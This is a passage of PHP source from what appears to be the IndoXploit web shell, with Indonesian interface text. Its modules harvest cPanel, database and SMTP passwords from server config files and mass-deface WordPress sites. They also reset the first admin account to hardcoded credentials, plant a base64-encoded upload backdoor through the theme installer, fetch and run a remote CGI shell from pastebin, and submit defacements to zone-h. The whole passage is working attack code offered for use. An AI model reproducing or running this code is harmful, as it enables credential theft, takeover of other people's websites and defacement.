  704. } elseif(preg_match("/client/", $ambil)) {
  705. preg_match("/password=(.*)/", $ambil, $pass1);
  706. if(preg_match('/"/', $pass1[1])) {
  707. $pass1[1] = str_replace('"', "", $pass1[1]);
  708. $pass .= $pass1[1]."\n";
  709. }
  710. } elseif(preg_match("/cc_encryption_hash/", $ambil)) {
  711. $pass .= ambilkata($ambil,"db_password = '","'")."\n";
  712. }
  713. }
  714. echo $pass;
  715. }
  716. $cp_pass = cp_pass($dir);
  717. echo $cp_pass;
  718. echo "</textarea><br>
  719. <input type='submit' name='crack' style='width: 450px;' value='Crack'>
  720. </form>
  721. <span>NB: CPanel Crack ini sudah auto get password ( pake db password ) maka akan work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/nama_folder_config )</span><br></center>";
  722. }
  723. } elseif($_GET['do'] == 'smtp') {
  724. echo "<center><span>NB: Tools ini work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/nama_folder_config )</span></center><br>";
  725. function scj($dir) {
  726. $dira = scandir($dir);
  727. foreach($dira as $dirb) {
  728. if(!is_file("$dir/$dirb")) continue;
  729. $ambil = file_get_contents("$dir/$dirb");
  730. $ambil = str_replace("$", "", $ambil);
  731. if(preg_match("/JConfig|joomla/", $ambil)) {
  732. $smtp_host = ambilkata($ambil,"smtphost = '","'");
  733. $smtp_auth = ambilkata($ambil,"smtpauth = '","'");
  734. $smtp_user = ambilkata($ambil,"smtpuser = '","'");
  735. $smtp_pass = ambilkata($ambil,"smtppass = '","'");
  736. $smtp_port = ambilkata($ambil,"smtpport = '","'");
  737. $smtp_secure = ambilkata($ambil,"smtpsecure = '","'");
  738. echo "SMTP Host: <font color=lime>$smtp_host</font><br>";
  739. echo "SMTP port: <font color=lime>$smtp_port</font><br>";
  740. echo "SMTP user: <font color=lime>$smtp_user</font><br>";
  741. echo "SMTP pass: <font color=lime>$smtp_pass</font><br>";
  742. echo "SMTP auth: <font color=lime>$smtp_auth</font><br>";
  743. echo "SMTP secure: <font color=lime>$smtp_secure</font><br><br>";
  744. }
  745. }
  746. }
  747. $smpt_hunter = scj($dir);
  748. echo $smpt_hunter;
  749. } elseif($_GET['do'] == 'auto_wp') {
  750. if($_POST['hajar']) {
  751. $title = htmlspecialchars($_POST['new_title']);
  752. $pn_title = str_replace(" ", "-", $title);
  753. if($_POST['cek_edit'] == "Y") {
  754. $script = $_POST['edit_content'];
  755. } else {
  756. $script = $title;
  757. }
  758. $conf = $_POST['config_dir'];
  759. $scan_conf = scandir($conf);
  760. foreach($scan_conf as $file_conf) {
  761. if(!is_file("$conf/$file_conf")) continue;
  762. $config = file_get_contents("$conf/$file_conf");
  763. if(preg_match("/WordPress/", $config)) {
  764. $dbhost = ambilkata($config,"DB_HOST', '","'");
  765. $dbuser = ambilkata($config,"DB_USER', '","'");
  766. $dbpass = ambilkata($config,"DB_PASSWORD', '","'");
  767. $dbname = ambilkata($config,"DB_NAME', '","'");
  768. $dbprefix = ambilkata($config,"table_prefix = '","'");
  769. $prefix = $dbprefix."posts";
  770. $option = $dbprefix."options";
  771. $conn = mysql_connect($dbhost,$dbuser,$dbpass);
  772. $db = mysql_select_db($dbname);
  773. $q = mysql_query("SELECT * FROM $prefix ORDER BY ID ASC");
  774. $result = mysql_fetch_array($q);
  775. $id = $result[ID];
  776. $q2 = mysql_query("SELECT * FROM $option ORDER BY option_id ASC");
  777. $result2 = mysql_fetch_array($q2);
  778. $target = $result2[option_value];
  779. $update = mysql_query("UPDATE $prefix SET post_title='$title',post_content='$script',post_name='$pn_title',post_status='publish',comment_status='open',ping_status='open',post_type='post',comment_count='1' WHERE id='$id'");
  780. $update .= mysql_query("UPDATE $option SET option_value='$title' WHERE option_name='blogname' OR option_name='blogdescription'");
  781. echo "<div style='margin: 5px auto;'>";
  782. if($target == '') {
  783. echo "URL: <font color=red>error, gabisa ambil nama domain nya</font> -> ";
  784. } else {
  785. echo "URL: <a href='$target/?p=$id' target='_blank'>$target/?p=$id</a> -> ";
  786. }
  787. if(!$update OR !$conn OR !$db) {
  788. echo "<font color=red>MySQL Error: ".mysql_error()."</font><br>";
  789. } else {
  790. echo "<font color=lime>sukses di ganti.</font><br>";
  791. }
  792. echo "</div>";
  793. mysql_close($conn);
  794. }
  795. }
  796. } else {
  797. echo "<center>
  798. <h1>Auto Edit Title+Content WordPress</h1>
  799. <form method='post'>
  800. DIR Config: <br>
  801. <input type='text' size='50' name='config_dir' value='$dir'><br><br>
  802. Set Title: <br>
  803. <input type='text' name='new_title' value='Hacked by IndoXploit' placeholder='New Title'><br><br>
  804. Edit Content?: <input type='radio' name='cek_edit' value='Y' checked>Y<input type='radio' name='cek_edit' value='N'>N<br>
  805. <span>Jika pilih <u>Y</u> masukin script defacemu ( saran yang simple aja ), kalo pilih <u>N</u> gausah di isi.</span><br>
  806. <textarea name='edit_content' placeholder='contoh script: http://pastebin.com/EpP671gK' style='width: 450px; height: 150px;'></textarea><br>
  807. <input type='submit' name='hajar' value='Hajar!' style='width: 450px;'><br>
  808. </form>
  809. <span>NB: Tools ini work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/nama_folder_config )</span><br>
  810. ";
  811. }
  812. } elseif($_GET['do'] == 'zoneh') {
  813. if($_POST['submit']) {
  814. $domain = explode("\r\n", $_POST['url']);
  815. $nick = $_POST['nick'];
  816. echo "Defacer Onhold: <a href='http://www.zone-h.org/archive/notifier=$nick/published=0' target='_blank'>http://www.zone-h.org/archive/notifier=$nick/published=0</a><br>";
  817. echo "Defacer Archive: <a href='http://www.zone-h.org/archive/notifier=$nick' target='_blank'>http://www.zone-h.org/archive/notifier=$nick</a><br><br>";
  818. function zoneh($url,$nick) {
  819. $ch = curl_init("http://www.zone-h.com/notify/single");
  820. curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  821. curl_setopt($ch, CURLOPT_POST, true);
  822. curl_setopt($ch, CURLOPT_POSTFIELDS, "defacer=$nick&domain1=$url&hackmode=1&reason=1&submit=Send");
  823. return curl_exec($ch);
  824. curl_close($ch);
  825. }
  826. foreach($domain as $url) {
  827. $zoneh = zoneh($url,$nick);
  828. if(preg_match("/color=\"red\">OK<\/font><\/li>/i", $zoneh)) {
  829. echo "$url -> <font color=lime>OK</font><br>";
  830. } else {
  831. echo "$url -> <font color=red>ERROR</font><br>";
  832. }
  833. }
  834. } else {
  835. echo "<center><form method='post'>
  836. <u>Defacer</u>: <br>
  837. <input type='text' name='nick' size='50' value='IndoXploit'><br>
  838. <u>Domains</u>: <br>
  839. <textarea style='width: 450px; height: 150px;' name='url'></textarea><br>
  840. <input type='submit' name='submit' value='Submit' style='width: 450px;'>
  841. </form>";
  842. }
  843. echo "</center>";
  844. } elseif($_GET['do'] == 'cgi') {
  845. $cgi_dir = mkdir('idx_cgi', 0755);
  846. $file_cgi = "idx_cgi/cgi.izo";
  847. $isi_htcgi = "AddHandler cgi-script .izo";
  848. $htcgi = fopen(".htaccess", "w");
  849. $cgi_script = file_get_contents("http://pastebin.com/raw.php?i=XTUFfJLg");
  850. $cgi = fopen($file_cgi, "w");
  851. fwrite($cgi, $cgi_script);
  852. fwrite($htcgi, $isi_htcgi);
  853. chmod($file_cgi, 0755);
  854. echo "<iframe src='idx_cgi/cgi.izo' width='100%' height='100%' frameborder='0' scrolling='no'></iframe>";
  855. } elseif($_GET['do'] == 'fake_root') {
  856. ob_start();
  857. function reverse($url) {
  858. $ch = curl_init("http://domains.yougetsignal.com/domains.php");
  859. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1 );
  860. curl_setopt($ch, CURLOPT_POSTFIELDS, "remoteAddress=$url&ket=");
  861. curl_setopt($ch, CURLOPT_HEADER, 0);
  862. curl_setopt($ch, CURLOPT_POST, 1);
  863. $resp = curl_exec($ch);
  864. $resp = str_replace("[","", str_replace("]","", str_replace("\"\"","", str_replace(", ,",",", str_replace("{","", str_replace("{","", str_replace("}","", str_replace(", ",",", str_replace(", ",",", str_replace("'","", str_replace("'","", str_replace(":",",", str_replace('"','', $resp ) ) ) ) ) ) ) ) ) ))));
  865. $array = explode(",,", $resp);
  866. unset($array[0]);
  867. foreach($array as $lnk) {
  868. $lnk = "http://$lnk";
  869. $lnk = str_replace(",", "", $lnk);
  870. echo $lnk."\n";
  871. ob_flush();
  872. flush();
  873. }
  874. curl_close($ch);
  875. }
  876. function cek($url) {
  877. $ch = curl_init($url);
  878. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1 );
  879. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
  880. $resp = curl_exec($ch);
  881. return $resp;
  882. }
  883. $cwd = getcwd();
  884. $ambil_user = explode("/", $cwd);
  885. $user = $ambil_user[2];
  886. if($_POST['reverse']) {
  887. $site = explode("\r\n", $_POST['url']);
  888. $file = $_POST['file'];
  889. foreach($site as $url) {
  890. $cek = cek("$url/~$user/$file");
  891. if(preg_match("/hacked/i", $cek)) {
  892. echo "URL: <a href='$url/~$user/$file' target='_blank'>$url/~$user/$file</a> -> <font color=lime>Fake Root!</font><br>";
  893. }
  894. }
  895. } else {
  896. echo "<center><form method='post'>
  897. Filename: <br><input type='text' name='file' value='deface.html' size='50' height='10'><br>
  898. User: <br><input type='text' value='$user' size='50' height='10' readonly><br>
  899. Domain: <br>
  900. <textarea style='width: 450px; height: 250px;' name='url'>";
  901. reverse($_SERVER['HTTP_HOST']);
  902. echo "</textarea><br>
  903. <input type='submit' name='reverse' value='Scan Fake Root!' style='width: 450px;'>
  904. </form><br>
  905. NB: Sebelum gunain Tools ini , upload dulu file deface kalian di dir /home/user/ dan /home/user/public_html.</center>";
  906. }
  907. } elseif($_GET['do'] == 'adminer') {
  908. $full = str_replace($_SERVER['DOCUMENT_ROOT'], "", $dir);
  909. function adminer($url, $isi) {
  910. $fp = fopen($isi, "w");
  911. $ch = curl_init();
  912. curl_setopt($ch, CURLOPT_URL, $url);
  913. curl_setopt($ch, CURLOPT_BINARYTRANSFER, true);
  914. curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  915. curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
  916. curl_setopt($ch, CURLOPT_FILE, $fp);
  917. return curl_exec($ch);
  918. curl_close($ch);
  919. fclose($fp);
  920. ob_flush();
  921. flush();
  922. }
  923. if(file_exists('adminer.php')) {
  924. echo "<center><font color=lime><a href='$full/adminer.php' target='_blank'>-> adminer login <-</a></font></center>";
  925. } else {
  926. if(adminer("https://www.adminer.org/static/download/4.2.4/adminer-4.2.4.php","adminer.php")) {
  927. echo "<center><font color=lime><a href='$full/adminer.php' target='_blank'>-> adminer login <-</a></font></center>";
  928. } else {
  929. echo "<center><font color=red>gagal buat file adminer</font></center>";
  930. }
  931. }
  932. } elseif($_GET['do'] == 'auto_dwp') {
  933. if($_POST['auto_deface_wp']) {
  934. function anucurl($sites) {
  935. $ch = curl_init($sites);
  936. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  937. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  938. curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
  939. curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
  940. curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
  941. curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
  942. curl_setopt($ch, CURLOPT_COOKIEJAR,'cookie.txt');
  943. curl_setopt($ch, CURLOPT_COOKIEFILE,'cookie.txt');
  944. curl_setopt($ch, CURLOPT_COOKIESESSION, true);
  945. $data = curl_exec($ch);
  946. curl_close($ch);
  947. return $data;
  948. }
  949. function lohgin($cek, $web, $userr, $pass, $wp_submit) {
  950. $post = array(
  951. "log" => "$userr",
  952. "pwd" => "$pass",
  953. "rememberme" => "forever",
  954. "wp-submit" => "$wp_submit",
  955. "redirect_to" => "$web",
  956. "testcookie" => "1",
  957. );
  958. $ch = curl_init($cek);
  959. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  960. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  961. curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
  962. curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
  963. curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
  964. curl_setopt($ch, CURLOPT_POST, 1);
  965. curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
  966. curl_setopt($ch, CURLOPT_COOKIEJAR,'cookie.txt');
  967. curl_setopt($ch, CURLOPT_COOKIEFILE,'cookie.txt');
  968. curl_setopt($ch, CURLOPT_COOKIESESSION, true);
  969. $data = curl_exec($ch);
  970. curl_close($ch);
  971. return $data;
  972. }
  973. $scan = $_POST['link_config'];
  974. $link_config = scandir($scan);
  975. $script = htmlspecialchars($_POST['script']);
  976. $user = "indoxploit";
  977. $pass = "indoxploit";
  978. $passx = md5($pass);
  979. foreach($link_config as $dir_config) {
  980. if(!is_file("$scan/$dir_config")) continue;
  981. $config = file_get_contents("$scan/$dir_config");
  982. if(preg_match("/WordPress/", $config)) {
  983. $dbhost = ambilkata($config,"DB_HOST', '","'");
  984. $dbuser = ambilkata($config,"DB_USER', '","'");
  985. $dbpass = ambilkata($config,"DB_PASSWORD', '","'");
  986. $dbname = ambilkata($config,"DB_NAME', '","'");
  987. $dbprefix = ambilkata($config,"table_prefix = '","'");
  988. $prefix = $dbprefix."users";
  989. $option = $dbprefix."options";
  990. $conn = mysql_connect($dbhost,$dbuser,$dbpass);
  991. $db = mysql_select_db($dbname);
  992. $q = mysql_query("SELECT * FROM $prefix ORDER BY id ASC");
  993. $result = mysql_fetch_array($q);
  994. $id = $result[ID];
  995. $q2 = mysql_query("SELECT * FROM $option ORDER BY option_id ASC");
  996. $result2 = mysql_fetch_array($q2);
  997. $target = $result2[option_value];
  998. if($target == '') {
  999. echo "[-] <font color=red>error, gabisa ambil nama domain nya</font><br>";
  1000. } else {
  1001. echo "[+] $target <br>";
  1002. }
  1003. $update = mysql_query("UPDATE $prefix SET user_login='$user',user_pass='$passx' WHERE ID='$id'");
  1004. if(!$conn OR !$db OR !$update) {
  1005. echo "[-] MySQL Error: <font color=red>".mysql_error()."</font><br><br>";
  1006. mysql_close($conn);
  1007. } else {
  1008. $site = "$target/wp-login.php";
  1009. $site2 = "$target/wp-admin/theme-install.php?upload";
  1010. $b1 = anucurl($site2);
  1011. $wp_sub = ambilkata($b1, "id=\"wp-submit\" class=\"button button-primary button-large\" value=\"","\" />");
  1012. $b = lohgin($site, $site2, $user, $pass, $wp_sub);
  1013. $anu2 = ambilkata($b,"name=\"_wpnonce\" value=\"","\" />");
  1014. $upload3 = base64_decode("Z2FudGVuZw0KPD9waHANCiRmaWxlMyA9ICRfRklMRVNbJ2ZpbGUzJ107DQogICRuZXdmaWxlMz0iay5waHAiOw0KICAgICAgICAgICAgICAgIGlmIChmaWxlX2V4aXN0cygiLi4vLi4vLi4vLi4vIi4kbmV3ZmlsZTMpKSB1bmxpbmsoIi4uLy4uLy4uLy4uLyIuJG5ld2ZpbGUzKTsNCiAgICAgICAgbW92ZV91cGxvYWRlZF9maWxlKCRmaWxlM1sndG1wX25hbWUnXSwgIi4uLy4uLy4uLy4uLyRuZXdmaWxlMyIpOw0KDQo/Pg==");
  1015. $www = "m.php";
  1016. $fp5 = fopen($www,"w");
  1017. fputs($fp5,$upload3);
  1018. $post2 = array(
  1019. "_wpnonce" => "$anu2",
  1020. "_wp_http_referer" => "/wp-admin/theme-install.php?upload",
  1021. "themezip" => "@$www",
  1022. "install-theme-submit" => "Install Now",
  1023. );
  1024. $ch = curl_init("$target/wp-admin/update.php?action=upload-theme");
  1025. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  1026. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  1027. curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
  1028. curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
  1029. curl_setopt($ch, CURLOPT_POST, 1);
  1030. curl_setopt($ch, CURLOPT_POSTFIELDS, $post2);
  1031. curl_setopt($ch, CURLOPT_COOKIEJAR,'cookie.txt');
  1032. curl_setopt($ch, CURLOPT_COOKIEFILE,'cookie.txt');
  1033. curl_setopt($ch, CURLOPT_COOKIESESSION, true);
  1034. $data3 = curl_exec($ch);
  1035. curl_close($ch);
  1036. $y = date("Y");
  1037. $m = date("m");
  1038. $namafile = "id.php";
  1039. $fpi = fopen($namafile,"w");
  1040. fputs($fpi,$script);
  1041. $ch6 = curl_init("$target/wp-content/uploads/$y/$m/$www");
  1042. curl_setopt($ch6, CURLOPT_POST, true);
  1043. curl_setopt($ch6, CURLOPT_POSTFIELDS, array('file3'=>"@$namafile"));
  1044. curl_setopt($ch6, CURLOPT_RETURNTRANSFER, 1);
  1045. curl_setopt($ch6, CURLOPT_COOKIEFILE, "cookie.txt");
  1046. curl_setopt($ch6, CURLOPT_COOKIEJAR,'cookie.txt');
  1047. curl_setopt($ch6, CURLOPT_COOKIESESSION, true);
  1048. $postResult = curl_exec($ch6);
  1049. curl_close($ch6);
  1050. $as = "$target/k.php";
  1051. $bs = anucurl($as);
  1052. if(preg_match("#$script#is", $bs)) {
  1053. echo "[+] <font color='lime'>berhasil mepes...</font><br>";
  1054. echo "[+] <a href='$as' target='_blank'>$as</a><br><br>";
  1055. } else {
  1056. echo "[-] <font color='red'>gagal mepes...</font><br>";
  1057. echo "[!!] coba aja manual: <br>";
  1058. echo "[+] <a href='$target/wp-login.php' target='_blank'>$target/wp-login.php</a><br>";
  1059. echo "[+] username: <font color=lime>$user</font><br>";
  1060. echo "[+] password: <font color=lime>$pass</font><br><br>";
  1061. }
  1062. mysql_close($conn);
  1063. }
  1064. }
  1065. }
  1066. } else {
  1067. echo "<center><h1>WordPress Auto Deface</h1>
  1068. <form method='post'>
  1069. <input type='text' name='link_config' size='50' height='10' value='$dir'><br>
  1070. <input type='text' name='script' height='10' size='50' placeholder='Hacked by IndoXploit' required><br>
  1071. <input type='submit' style='width: 450px;' name='auto_deface_wp' value='Hajar!!'>
  1072. </form>
  1073. <br><span>NB: Tools ini work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/nama_folder_config )</span>
  1074. </center>";
  1075. }
  1076. } elseif($_GET['do'] == 'auto_dwp2') {
  1077. if($_POST['auto_deface_wp']) {
  1078. function anucurl($sites) {
  1079. $ch = curl_init($sites);
  1080. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  1081. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  1082. curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
  1083. curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
  1084. curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
  1085. curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
  1086. curl_setopt($ch, CURLOPT_COOKIEJAR,'cookie.txt');
  1087. curl_setopt($ch, CURLOPT_COOKIEFILE,'cookie.txt');
  1088. curl_setopt($ch, CURLOPT_COOKIESESSION,true);
  1089. $data = curl_exec($ch);
  1090. curl_close($ch);
  1091. return $data;
  1092. }
  1093. function lohgin($cek, $web, $userr, $pass, $wp_submit) {
  1094. $post = array(
  1095. "log" => "$userr",
  1096. "pwd" => "$pass",
  1097. "rememberme" => "forever",
  1098. "wp-submit" => "$wp_submit",
  1099. "redirect_to" => "$web",
  1100. "testcookie" => "1",
  1101. );
  1102. $ch = curl_init($cek);
  1103. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  1104. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  1105. curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
  1106. curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
  1107. curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
  1108. curl_setopt($ch, CURLOPT_POST, 1);
  1109. curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
  1110. curl_setopt($ch, CURLOPT_COOKIEJAR,'cookie.txt');
  1111. curl_setopt($ch, CURLOPT_COOKIEFILE,'cookie.txt');
  1112. curl_setopt($ch, CURLOPT_COOKIESESSION, true);
  1113. $data = curl_exec($ch);
  1114. curl_close($ch);
  1115. return $data;
  1116. }
  1117. $link = explode("\r\n", $_POST['link']);
  1118. $script = htmlspecialchars($_POST['script']);
  1119. $user = "indoxploit";
  1120. $pass = "indoxploit";
  1121. $passx = md5($pass);
  1122. foreach($link as $dir_config) {
  1123. $config = anucurl($dir_config);
  1124. $dbhost = ambilkata($config,"DB_HOST', '","'");
  1125. $dbuser = ambilkata($config,"DB_USER', '","'");
  1126. $dbpass = ambilkata($config,"DB_PASSWORD', '","'");
  1127. $dbname = ambilkata($config,"DB_NAME', '","'");
  1128. $dbprefix = ambilkata($config,"table_prefix = '","'");
  1129. $prefix = $dbprefix."users";
  1130. $option = $dbprefix."options";
  1131. $conn = mysql_connect($dbhost,$dbuser,$dbpass);
  1132. $db = mysql_select_db($dbname);
  1133. $q = mysql_query("SELECT * FROM $prefix ORDER BY id ASC");
  1134. $result = mysql_fetch_array($q);
  1135. $id = $result[ID];
  1136. $q2 = mysql_query("SELECT * FROM $option ORDER BY option_id ASC");
  1137. $result2 = mysql_fetch_array($q2);
  1138. $target = $result2[option_value];
  1139. if($target == '') {
  1140. echo "[-] <font color=red>error, gabisa ambil nama domain nya</font><br>";
  1141. } else {
  1142. echo "[+] $target <br>";
  1143. }
  1144. $update = mysql_query("UPDATE $prefix SET user_login='$user',user_pass='$passx' WHERE ID='$id'");
  1145. if(!$conn OR !$db OR !$update) {
  1146. echo "[-] MySQL Error: <font color=red>".mysql_error()."</font><br><br>";
  1147. mysql_close($conn);
  1148. } else {
  1149. $site = "$target/wp-login.php";
  1150. $site2 = "$target/wp-admin/theme-install.php?upload";
  1151. $b1 = anucurl($site2);
  1152. $wp_sub = ambilkata($b1, "id=\"wp-submit\" class=\"button button-primary button-large\" value=\"","\" />");
  1153. $b = lohgin($site, $site2, $user, $pass, $wp_sub);
  1154. $anu2 = ambilkata($b,"name=\"_wpnonce\" value=\"","\" />");
  1155. $upload3 = base64_decode("Z2FudGVuZw0KPD9waHANCiRmaWxlMyA9ICRfRklMRVNbJ2ZpbGUzJ107DQogICRuZXdmaWxlMz0iay5waHAiOw0KICAgICAgICAgICAgICAgIGlmIChmaWxlX2V4aXN0cygiLi4vLi4vLi4vLi4vIi4kbmV3ZmlsZTMpKSB1bmxpbmsoIi4uLy4uLy4uLy4uLyIuJG5ld2ZpbGUzKTsNCiAgICAgICAgbW92ZV91cGxvYWRlZF9maWxlKCRmaWxlM1sndG1wX25hbWUnXSwgIi4uLy4uLy4uLy4uLyRuZXdmaWxlMyIpOw0KDQo/Pg==");
  1156. $www = "m.php";
  1157. $fp5 = fopen($www,"w");
  1158. fputs($fp5,$upload3);
  1159. $post2 = array(
  1160. "_wpnonce" => "$anu2",
  1161. "_wp_http_referer" => "/wp-admin/theme-install.php?upload",
  1162. "themezip" => "@$www",
  1163. "install-theme-submit" => "Install Now",
  1164. );
  1165. $ch = curl_init("$target/wp-admin/update.php?action=upload-theme");
  1166. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  1167. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  1168. curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
  1169. curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
  1170. curl_setopt($ch, CURLOPT_POST, 1);
  1171. curl_setopt($ch, CURLOPT_POSTFIELDS, $post2);
  1172. curl_setopt($ch, CURLOPT_COOKIEJAR,'cookie.txt');
  1173. curl_setopt($ch, CURLOPT_COOKIEFILE,'cookie.txt');
  1174. curl_setopt($ch, CURLOPT_COOKIESESSION, true);
  1175. $data3 = curl_exec($ch);
  1176. curl_close($ch);
  1177. $y = date("Y");
  1178. $m = date("m");
  1179. $namafile = "id.php";
  1180. $fpi = fopen($namafile,"w");
  1181. fputs($fpi,$script);
  1182. $ch6 = curl_init("$target/wp-content/uploads/$y/$m/$www");
  1183. curl_setopt($ch6, CURLOPT_POST, true);
  1184. curl_setopt($ch6, CURLOPT_POSTFIELDS, array('file3'=>"@$namafile"));
  1185. curl_setopt($ch6, CURLOPT_RETURNTRANSFER, 1);
  1186. curl_setopt($ch6, CURLOPT_COOKIEFILE, "cookie.txt");
  1187. curl_setopt($ch6, CURLOPT_COOKIEJAR,'cookie.txt');
  1188. curl_setopt($ch6, CURLOPT_COOKIESESSION,true);
  1189. $postResult = curl_exec($ch6);
  1190. curl_close($ch6);
  1191. $as = "$target/k.php";
  1192. $bs = anucurl($as);
  1193. if(preg_match("#$script#is", $bs)) {
  1194. echo "[+] <font color='lime'>berhasil mepes...</font><br>";
  1195. echo "[+] <a href='$as' target='_blank'>$as</a><br><br>";
  1196. } else {
  1197. echo "[-] <font color='red'>gagal mepes...</font><br>";
  1198. echo "[!!] coba aja manual: <br>";
  1199. echo "[+] <a href='$target/wp-login.php' target='_blank'>$target/wp-login.php</a><br>";
  1200. echo "[+] username: <font color=lime>$user</font><br>";
  1201. echo "[+] password: <font color=lime>$pass</font><br><br>";
  1202. }
  1203. mysql_close($conn);
  1204. }
  1205. }
  1206. } else {
  1207. echo "<center><h1>WordPress Auto Deface V.2</h1>
  1208. <form method='post'>
  1209. Link Config: <br>
  1210. <textarea name='link' placeholder='http://target.com/idx_config/user-config.txt' style='width: 450px; height:250px;'></textarea><br>
  1211. <input type='text' name='script' height='10' size='50' placeholder='Hacked by IndoXploit' required><br>
  1212. <input type='submit' style='width: 450px;' name='auto_deface_wp' value='Hajar!!'>
  1213. </form></center>";
  1214. }
  1215. } elseif($_GET['act'] == 'newfile') {
  1216. if($_POST['new_save_file']) {
  1217. $newfile = htmlspecialchars($_POST['newfile']);
  1218. $fopen = fopen($newfile, "a+");
  1219. if($fopen) {
  1220. $act = "<script>window.location='?act=edit&dir=".$dir."&file=".$_POST['newfile']."';</script>";
  1221. } else {
  1222. $act = "<font color=red>permission denied</font>";
  1223. }
  1224. }
  1225. echo $act;
  1226. echo "<form method='post'>
  1227. Filename: <input type='text' name='newfile' value='$dir/newfile.php' style='width: 450px;' height='10'>
  1228. <input type='submit' name='new_save_file' value='Submit'>
  1229. </form>";
  1230. } elseif($_GET['act'] == 'newfolder') {
  1231. if($_POST['new_save_folder']) {
  1232. $new_folder = $dir.'/'.htmlspecialchars($_POST['newfolder']);
  1233. if(!mkdir($new_folder)) {
  1234. $act = "<font color=red>permission denied</font>";
  1235. } else {
  1236. $act = "<script>window.location='?dir=".$dir."';</script>";
  1237. }
  1238. }
  1239. echo $act;
  1240. echo "<form method='post'>
  1241. Folder Name: <input type='text' name='newfolder' style='width: 450px;' height='10'>
  1242. <input type='submit' name='new_save_folder' value='Submit'>
  1243. </form>";
  1244. } elseif($_GET['act'] == 'rename_dir') {
  1245. if($_POST['dir_rename']) {
  1246. $dir_rename = rename($dir, "".dirname($dir)."/".htmlspecialchars($_POST['fol_rename'])."");
  1247. if($dir_rename) {
  1248. $act = "<script>window.location='?dir=".dirname($dir)."';</script>";
  1249. } else {
  1250. $act = "<font color=red>permission denied</font>";
  1251. }
  1252. echo "".$act."<br>";
  1253. }
  1254. echo "<form method='post'>
  1255. <input type='text' value='".basename($dir)."' name='fol_rename' style='width: 450px;' height='10'>
  1256. <input type='submit' name='dir_rename' value='rename'>
  1257. </form>";
  1258. } elseif($_GET['act'] == 'delete_dir') {
  1259. $delete_dir = rmdir($dir);
  1260. if($delete_dir) {
  1261. $act = "<script>window.location='?dir=".dirname($dir)."';</script>";
  1262. } else {
  1263. $act = "<font color=red>could not remove ".basename($dir)."</font>";
  1264. }
  1265. echo $act;
  1266. } elseif($_GET['act'] == 'view') {
  1267. echo "Filename: <font color=lime>".basename($_GET['file'])."</font> [ <a href='?act=view&dir=$dir&file=".$_GET['file']."'><b>view</b></a> ] [ <a href='?act=edit&dir=$dir&file=".$_GET['file']."'>edit</a> ] [ <a href='?act=rename&dir=$dir&file=".$_GET['file']."'>rename</a> ] [ <a href='?act=download&dir=$dir&file=".$_GET['file']."'>download</a> ] [ <a href='?act=delete&dir=$dir&file=".$_GET['file']."'>delete</a> ]<br>";
  1268. echo "<textarea readonly>".htmlspecialchars(@file_get_contents($_GET['file']))."</textarea>";
  1269. } elseif($_GET['act'] == 'edit') {
  1270. if($_POST['save']) {
  1271. $save = file_put_contents($_GET['file'], $_POST['src']);
  1272. if($save) {
  1273. $act = "<font color=lime>Saved!</font>";
  1274. } else {
  1275. $act = "<font color=red>permission denied</font>";
  1276. }
  1277. echo "".$act."<br>";
  1278. }
  1279. echo "Filename: <font color=lime>".basename($_GET['file'])."</font> [ <a href='?act=view&dir=$dir&file=".$_GET['file']."'>view</a> ] [ <a href='?act=edit&dir=$dir&file=".$_GET['file']."'><b>edit</b></a> ] [ <a href='?act=rename&dir=$dir&file=".$_GET['file']."'>rename</a> ] [ <a href='?act=download&dir=$dir&file=".$_GET['file']."'>download</a> ] [ <a href='?act=delete&dir=$dir&file=".$_GET['file']."'>delete</a> ]<br>";
  1280. echo "<form method='post'>
  1281. <textarea name='src'>".htmlspecialchars(@file_get_contents($_GET['file']))."</textarea><br>
  1282. <input type='submit' value='Save' name='save' style='width: 500px;'>
  1283. </form>";
  1284. } elseif($_GET['act'] == 'rename') {
